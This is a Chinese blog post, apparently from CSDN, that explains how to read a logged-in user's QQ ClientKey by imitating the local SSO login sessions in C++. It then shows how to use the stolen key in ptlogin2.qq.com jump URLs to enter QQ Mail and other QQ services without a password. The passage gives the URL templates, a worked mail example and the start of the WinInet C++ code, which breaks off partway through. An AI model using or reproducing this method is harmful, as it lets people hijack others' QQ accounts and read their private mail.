读取QQ ClientKey C++版本_qq进程读取clientkey-优快云博客

本文介绍了一种使用C++模拟QQ登录流程的方法，通过三次HTTP会话获取客户端密钥（ClientKey）。首次会话解析URL，提取pt_local_token；二次会话获取已登录QQ账号（uin）；最后，通过uin获取224位的ClientKey，实现无密码登录QQ服务。

c++模拟会话登录，访问QQ的SSO，读取ClientKey，不需要注入，读取QQ ClientKey C++版本

在这里插入图片描述
需要注意的是，这种方法获取的clientkey长度是224位，和之前注入dll获取的不一样。

注入dll获取的是64位的clientkey

利用方法：
64字节： http://ptlogin2.qq.com/jump?ptlang=2052&clientuin=QQ号码&clientkey=64个字节的KEY&u1=需要登陆的QQ服务网站地址
224字节： http://ptlogin2.qq.com/jump?clientuin=QQ号&clientkey=224位字节的KEY&keyindex=9&u1=需要登陆的QQ服务网站地址

例如，我想利用224字节的key，无密进入qq邮箱

用浏览器访问下面构造的地址，成功后会返回一个地址，复制再访问，就直接进入QQ邮箱了
http://ptlogin2.qq.com/jump?clientuin=QQ号&clientkey=224字节key&keyindex=9&u1=https%3A%2F%2Fmail.qq.com%2Fcgi-bin%2Flogin%3Fvt%3Dpassport%26vm%3Dwpt%26ft%3Dloginpage%26target%3D&pt_local_tk=&pt_3rd_aid=0&ptopt=1&style=25

在这里插入图片描述

#include "stdafx.h"
#include<string>
#include<windows.h>
#include<iostream>
#include <WinInet.h>
#pragma comment(lib,"wininet.lib")
using namespace std;

char URL_STRING[] = "https://xui.ptlogin2.qq.com/cgi-bin/xlogin?appid=636014201&s_url=http://www.qq.com/qq2012/loginSuccess.htm&style=20&border_radius=1&target=self&maskOpacity=40";

int _tmain(int argc, _TCHAR* argv[])
{
   
   

	// 初始化URL
	URL_COMPONENTSA crackedURL = {
   
    0 };
	char szHostName[128];
	char szUrlPath[256];
	crackedURL.dwStructSize = sizeof(URL_COMPONENTSA);
	crackedURL.lpszHostName = szHostName;
	crackedURL.dwHostNameLength = ARRAYSIZE(szHostName);
	crackedURL.lpszUrlPath = szUrlPath;
	crackedURL.dwUrlPathLength = ARRAYSIZE(szUrlPath);
	InternetCrackUrlA(URL_STRING, (DWORD)strlen(URL_STRING), 0, &crackedURL);

	// 初始化会话
	HINTERNET hInternet = InternetOpenA("Microsoft Internet Explorer", INTERNET_OPEN_TYPE_DIRECT, NULL, NULL, 0);
	HINTERNET hHttpSession = InternetConnectA(hInternet, crackedU